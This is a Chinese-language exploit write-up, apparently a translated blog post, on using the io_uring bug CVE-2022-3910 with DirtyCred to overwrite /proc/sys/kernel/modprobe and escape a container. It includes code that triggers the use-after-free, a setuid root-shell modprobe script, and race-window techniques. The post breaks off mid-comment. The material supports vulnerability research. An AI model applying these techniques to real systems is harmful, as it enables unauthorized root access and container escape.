基于文件DirtyCred的容器逃逸新方法

本文详细分析了CVE-2022-3910漏洞的根源,探讨了如何利用io_uring的refcount错误实现文件结构UAF,并创新性地结合DirtyCred技术实现对/proc/sys/kernel/modprobe的写入,最终实现容器逃逸。

基于文件DirtyCred的容器逃逸新方法

相关io_uring组件介绍

固定文件

固定文件(或称直接描述符)可视为io_uring特定的文件描述符。io_uring维护对任何已注册文件的引用,以减少每次涉及文件的操作中文件描述符解析带来的额外开销;该引用仅在固定文件被注销或io_uring实例被销毁时释放。

固定文件可通过传递文件描述符数组给io_uring_register()注册。或者,可使用各种函数(如io_uring_prep_openat_direct())指示io_uring直接注册一个(无需用户态程序首先通过其他系统调用获取文件描述符)。随后,这些文件可通过设置IOSQE_FIXED_FILE标志并传递注册文件数组中的索引(而非实际文件描述符)在未来的SQE中引用。

环消息

io_uring支持通过io_uring_prep_msg_ring()在环之间传递消息。更具体地说,根据手册页,此操作在目标环中创建一个CQE,其resuser_data设置为用户指定的值。

如此处所述,此功能可用于唤醒等待环的休眠任务,或简单地传递任意信息。

漏洞

CVE-2022-3910是io_msg_ring()函数中的不当引用计数更新。源文件在此处,但相关代码片段如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

{
	struct io_msg *msg = io_kiocb_to_cmd(req, struct io_msg);
	int ret;

	ret = -EBADFD;
	if (!io_is_uring_fops(req->file))
		goto done;

	switch (msg->cmd) {
	case IORING_MSG_DATA:
		ret = io_msg_ring_data(req);
		break;
	case IORING_MSG_SEND_FD:

		break;
	default:
		ret = -EINVAL;
		break;
	}

done:
	if (ret < 0)
		req_set_fail(req);
	io_req_set_res(req, ret, 0);
	/* put file to avoid an attempt to IOPOLL the req */
	io_put_file(req->file);
	req->file = NULL;
	return IOU_OK;
}

漏洞本身的提示可在补丁的提交消息中找到:

通常,io_uring的消息传递功能期望对应另一个io_uring实例的文件描述符。如果我们传入对其他任何内容的引用,它只会通过调用io_put_file()被丢弃并返回错误。

如果我们传入一个固定文件,io_put_file()仍被调用。但此行为实际上不正确!我们没有获取文件的额外引用,因此不应递减引用计数。

直接后果

io_put_file()只是fput()的包装器。您可在此处找到其源代码,但以下理解足够:

1
2
3
4
5
6
void fput(struct file *file)
{
	if (atomic_long_dec_and_test(&file->f_count)) {
		// 释放文件结构
	}
}

换句话说,通过重复触发漏洞直到引用计数降至0,我们可以在io_uring继续持有对其引用的情况下释放关联的文件结构。这构成了释放后使用。

以下是一些显示我们如何执行此操作的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct io_uring r;
io_uring_queue_init(8, &r, 0);
int target = open(TARGET_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);

// 将目标文件注册为固定文件。
if (io_uring_register_files(&r, &target, 1) < 0) {
	perror("[-] io_uring_register_files");
}

struct io_uring_sqe * sqe;

// 引用计数当前为2
//(通过在io_msg_ring()中设置断点检查)
for (int i=0; i<2; i++) {
	sqe = io_uring_get_sqe(&r);
	io_uring_prep_msg_ring(sqe, 0, 0, 0, 0);
	sqe->flags |= IOSQE_FIXED_FILE;
	io_uring_submit(&r);
	io_uring_wait_cqe(&r, &cqe);
	io_uring_cqe_seen(&r, cqe);
}

// 引用计数现在应为0,文件结构应被释放。

我最初的利用尝试使用了一堆跨缓存喷射,并最终覆盖sk_buff结构的析构函数(不是sk_buff->data分配,因为其最小大小太大)以获得执行控制。

此“标准”利用不是本文的主要焦点,但如果您感兴趣,可以在此处查看我的代码。我未能在网上找到以与我相同方式使用sk_buff的其他文章,因此我认为值得简要提及。

DirtyCred

在我完成上述利用后,Billy鼓励我尝试编写一个使用DirtyCred的不同利用。

DirtyCred是一种仅针对文件和凭据结构的数据攻击。原始幻灯片比我能更清楚地解释该概念,因此如果您不熟悉该技术,我建议先阅读此内容。特别相关的是“攻击打开文件凭据”部分,这正是我们将要使用的。

文件结构

顾名思义,文件结构表示一个打开的文件,并在文件打开时在filp slab缓存中分配。每个文件结构跟踪其自己的引用计数,可通过dup()close()等操作修改。当引用计数达到零时,结构被释放。

此结构的一些重要成员如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct file {
        // ...
        const struct file_operations  * f_op;            /*    40     8 */
        // ...
        atomic_long_t              f_count;              /*    56     8 */
        // ...
        fmode_t                    f_mode;               /*    68     4 */
        // ...
        /* size: 232, cachelines: 4, members: 20 */
} __attribute__((__aligned__(8)));

让我们简要介绍每个:

  • f_op是指向函数表的指针,该表决定在请求对文件进行操作时调用哪个处理程序。例如,对于驻留在ext4文件系统上的所有文件,此为ext4_file_operations
  • f_count存储文件的引用计数。
  • f_mode存储文件的访问模式。这包括我们是否被允许从中读取或写入的标志。

注意:当我们多次open()同一文件时,会分配多个文件结构。相比之下,当我们在文件描述符上调用dup()时,现有文件结构的引用计数递增,且不进行新分配。

代码分析

现在让我们尝试理解DirtyCred究竟如何工作。假设我们以访问模式O_RDWR打开了文件A,并尝试写入它。这最终调用vfs_write(),如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
	ssize_t ret;

	// 权限检查在此处发生
	if (!(file->f_mode & FMODE_WRITE))
		return -EBADF;
	if (!(file->f_mode & FMODE_CAN_WRITE))
		return -EINVAL;
	if (unlikely(!access_ok(buf, count)))
		return -EFAULT;

	ret = rw_verify_area(WRITE, file, pos, count);
	if (ret)
		return ret;
	if (count > MAX_RW_COUNT)
		count =  MAX_RW_COUNT;

	// 实际写入在此处下方发生
	file_start_write(file);
	if (file->f_op->write)
		ret = file->f_op->write(file, buf, count, pos);
	else if (file->f_op->write_iter)
		ret = new_sync_write(file, buf, count, pos);
	else
		ret = -EINVAL;
	if (ret > 0) {
		fsnotify_modify(file);
		add_wchar(current, ret);
	}
	inc_syscw(current);
	file_end_write(file);
	return ret;
}

假设在权限检查完成后但实际写入开始前,我们设法释放了文件A的文件结构并喷射了一个新文件结构,该结构对应我们以访问模式O_RDONLY打开的不同文件B。访问模式不会再次检查,因此写入将在文件B上执行,即使我们不应被允许这样做!

但是否可能一致地赢得此竞争?

传统DirtyCred:针对ext4文件

在DirtyCred的典型应用中,文件A和B都驻留在ext4文件系统上。在此场景中,写入最终由ext4_buffered_write_iter()处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static ssize_t ext4_buffered_write_iter(struct kiocb *iocb,
					struct iov_iter *from)
{
	ssize_t ret;
	struct inode *inode = file_inode(iocb->ki_filp); // 局部变量!

	if (iocb->ki_flags & IOCB_NOWAIT)
		return -EOPNOTSUPP;

	inode_lock(inode); // <=== [A]
	ret = ext4_write_checks(iocb, from);
	if (ret <= 0)
		goto out;

	current->backing_dev_info = inode_to_bdi(inode);
	ret = generic_perform_write(iocb, from); // 实际写入在此处发生
	current->backing_dev_info = NULL;

out:
	inode_unlock(inode); // <=== [B]
	if (likely(ret > 0)) {
		iocb->ki_pos += ret;
		ret = generic_write_sync(iocb, ret);
	}

	return ret;
}

ssize_t generic_perform_write(struct kiocb *iocb, struct iov_iter *i)
{
	struct file *file = iocb->ki_filp;
	// ...
}

为避免多个任务同时写入同一文件引起的问题,写入操作包含在互斥锁中。换句话说,任何时候只有一个进程可以写入文件。这使我们能够使用下图所示的想法稳定利用(取自DirtyCred幻灯片):

当线程A对文件A执行慢写入时,它获取相应inode的锁。这防止线程B进入[A]和[B]之间的临界区域。我们可以利用此等待期将文件A的文件结构换出为文件B的文件结构。当线程A释放inode锁时,线程B获取它并继续对错误文件执行写入。

本地权限提升

不难看出此类原语如何允许我们实现本地权限提升。一种可能性是通过定位/etc/passwd添加具有root特权的新用户。但我采取了不同的方法,定位/sbin/modprobe

当我们尝试执行具有未知魔术头的文件时,内核将以root特权并从root命名空间调用由全局内核变量modprobe_path指向的二进制文件。默认情况下,此为/sbin/modprobe

因此,我用以下shell脚本覆盖了/sbin/modprobe

1
2
3
#!/bin/sh
cp /bin/sh /tmp/sh
chmod 4777 /tmp/sh

当我尝试执行具有无效魔术头的文件时,内核执行了上述脚本,创建了/bin/sh的setuid副本。我们现在有一个root shell。

兔子洞

当我向Billy展示我的利用时,他指出我的方法在容器化环境中不起作用,因为/sbin/modprobe无法从容器的命名空间访问。相反,他问我们是否可以直接通过/proc/sys/kernel/modprobe定位modprobe_path变量。

/proc文件系统与您

/proc是一个伪文件系统,“充当内核内部数据结构的接口”。特别是,/proc/sys子目录允许我们通过简单地像文件一样写入它们来更改各种内核参数的值。

作为一个相关示例,/proc/sys/kernel/modprobe直接别名到modprobe_path内核全局变量,写入此“文件”将相应更改modprobe_path的值。

重要:如果我们不是root,则无法写入/proc/sys/*中的任何内容。但这不是大问题,因为我们可以事先利用传统DirtyCred通过定位/etc/passwd获得本地权限提升。

应该清楚这些文件操作需要特殊的处理程序函数。与/proc/sys/*“文件”关联的文件结构的f_op设置为proc_sys_file_operations

这产生了一个问题,因为之前的inode锁定技术依赖于ext4_buffered_write_iter()仍能成功写入目标文件的假设。实际上尝试使用/proc/sys/*文件执行此操作将导致未定义行为,通常导致返回错误代码。

相反,我们必须在调用写入处理程序解析之前换出文件结构,这意味着我们有以下竞争窗口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
	ssize_t ret;

	if (!(file->f_mode & FMODE_WRITE))
		return -EBADF;
	if (!(file->f_mode & FMODE_CAN_WRITE))
		return -EINVAL;
	// 竞争窗口开始
	if (unlikely(!access_ok(buf, count)))
		return -EFAULT;

	ret = rw_verify_area(WRITE, file, pos, count);
	if (ret)
		return ret;
	if (count > MAX_RW_COUNT)
		count =  MAX_RW_COUNT;

	file_start_write(file);
	// 竞争窗口结束
	if (file->f_op->write)
		ret = file->f_op->write(file, buf, count, pos);
	else if (file->f_op->write_iter)
		ret = new_sync_write(file, buf, count, pos);
	else
		ret = -EINVAL;
	if (ret > 0) {
		fsnotify_modify(file);
		add_wchar(current, ret);
	}
	inc_syscw(current);
	file_end_write(file);
	return ret;
}

那很小。我们能提高机会吗?

新目标:aio_write()

内核AIO子系统(不要与POSIX AIO混淆)是一个有些过时的异步I/O接口,可视为io_uring的前身。Billy将我指向aio_write()函数,如果我们通过内核AIO接口请求写入系统调用,将调用该函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int aio_write(struct kiocb *req, const struct iocb *iocb,
			 bool vectored, bool compat)
{
	struct iovec inline_vecs[UIO_FASTIOV], *iovec = inline_vecs;
	struct iov_iter iter;
	struct file *file;
	int ret;

	ret = aio_prep_rw(req, iocb);
	if (ret)
		return ret;
	file = req->ki_filp;

	if (unlikely(!(file->f_mode & FMODE_WRITE)))
		return -EBADF;
	if (unlikely(!file->f_op->write_iter))
		return -EINVAL;

	ret = aio_setup_rw(WRITE, iocb, &iovec, vectored, compat, &iter);
	if (ret < 0)
		return ret;
	ret = rw_verify_area(WRITE, file, &req->ki_pos, iov_iter_count(&iter));
	if (!ret) {
		/*
		 * 在此处对file_start_write进行开放编码以获取冻结保护,
		 * 这将由另一个线程在aio_complete_rw()中释放。通过告诉lockdep锁已释放来欺骗它,
		 * 以便在返回到用户空间时它不会抱怨持有的锁。
		 */
		if (S_ISREG(file_inode(file)->i_mode)) {
			sb_start_write(file_inode(file)->i_sb);
			__sb_writers_release(file_inode(file)->i_sb, SB_FREEZE_WRITE);
		}
		req->ki_flags |= IOCB_WRITE;
		aio_rw_done(req, call_write_iter(file, req, &iter));
	}
	kfree(iovec);
	return ret;
}

aio_setup_rw()使用copy_from_user()从用户态复制iovecs。此外,它位于我们的竞争窗口内(在权限检查之后,但在写入处理程序解析之前)。因此,如果我们有权访问userfaultfd或FUSE,我们可以一致地赢得竞争,允许我们将写入操作重定向到/proc/sys/kernel/modprobe

但等等。为什么任何人需要在容器内启用FUSE或内核页面错误处理以用于userfaultfd?可悲的真相是,利用上述技术所需的条件过于严格,无法在平均真实世界利用场景中有用。

注意:从技术上讲,即使userfaultfd内核页面错误处理被禁用,如果我们具有CAP_SYS_PTRACE能力(实际检查在此处),我们仍可以使用它。然而,通常,即使作为容器root,我们也不太可能拥有此能力。

除非…

慢页面错误救援

让我们思考userfaultfd和FUSE在我们利用技术中迄今为止扮演的角色。当内核在尝试从用户态复制数据时遇到页面错误:

  • userfaultfd导致错误内核线程暂停,直到我们从用户态处理页面错误。
  • 当内核尝试将错误页面加载到内存时,调用我们的自定义FUSE读取处理程序。

在这两种情况下,我们可以简单地在copy_from_user()调用处暂停内核线程,直到我们完成其他工作,如堆喷射。但是否可能使页面错误花费如此长的时间,以至于我们可以在该时间窗口内完成堆喷射?

在我花费几次尝试实验各种效果不佳的想法后,Billy建议调整此方法以显著增加页面错误创建的延迟(图像来自Google CTF discord):

shmem_fault()包含一个有用的注释,解释为什么是这样:

1
2
3
4
5
6
/*
 * Trinity发现探测tmpfs正在打孔的空洞可以防止打孔完成:这反过来通过其对i_rwsem的持有将写入者锁定在外。因此,在打孔进行时避免将页面错误到空洞中。尽管shmem_undo_range()确实移除添加,但它可能无法跟上,因为每个新页面需要自己的unmap_mapping_range()调用,并且如果添加新的vmas,i_mmap树扫描会变得越来越慢。
 *
 * 如果我们有时在打孔开始之前刚达到此检查,以便一个错误然后与打孔竞争,这并不重要:我们只需要使竞争错误成为罕见情况。
 *
 * 如果我们只使用标准互斥
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计